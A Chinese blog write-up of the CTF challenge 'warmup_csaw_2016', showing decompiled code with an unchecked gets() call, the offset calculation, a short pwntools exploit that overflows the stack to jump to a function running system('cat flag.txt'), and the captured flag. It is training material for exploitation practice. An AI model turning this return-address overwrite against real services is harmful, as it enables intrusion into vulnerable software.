buuctf warmup_csaw_2016

2 篇文章 0 订阅
本文详细分析了一次CTF比赛中的栈溢出漏洞问题。通过使用IDA分析64位程序,发现了一个可以利用的system函数调用。主要步骤包括找到main函数,识别关键函数sub_40060D,该函数用于执行`catflag.txt`获取flag。通过构造payload覆盖返回地址,成功触发栈溢出并执行命令。最终提供了一个EXP来演示漏洞利用过程,并展示了获取到的flag。
摘要由CSDN通过智能技术生成

buuctf warmup_csaw_2016

只开启了部分RELRO保护, 64位

用ida64位打开

先找到main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF
​
  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

可以看到在sprintf里有一个函数

int sub_40060D()
{
  return system("cat flag.txt");
}

他正是拿到flag需要执行的指令,所以这道题就是一个简单的栈溢出

最后需要输入的是gets,存储在v5之中

查看v5在栈中存储的位置

可以看出,s的地址是从0x41~x80,需要的v5的地址就是0~0x40,所以需要填充的地址就是0x40+8 (+8,就是覆盖64位下rbp的长度)

然后找到函数的首地址是0x40060D

EXP

from pwn import *
​
#io = remote("ip地址", 端口)
io = remote("node4.buuoj.cn", 25915)
​
payload = b'A' * (0x40 + 8) + p64(0x40060D)
​
io.writeline(payload)
​
io.interactive()

getflag

flag{03779684-e617-4068-9b1e-246435d4d2e5}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值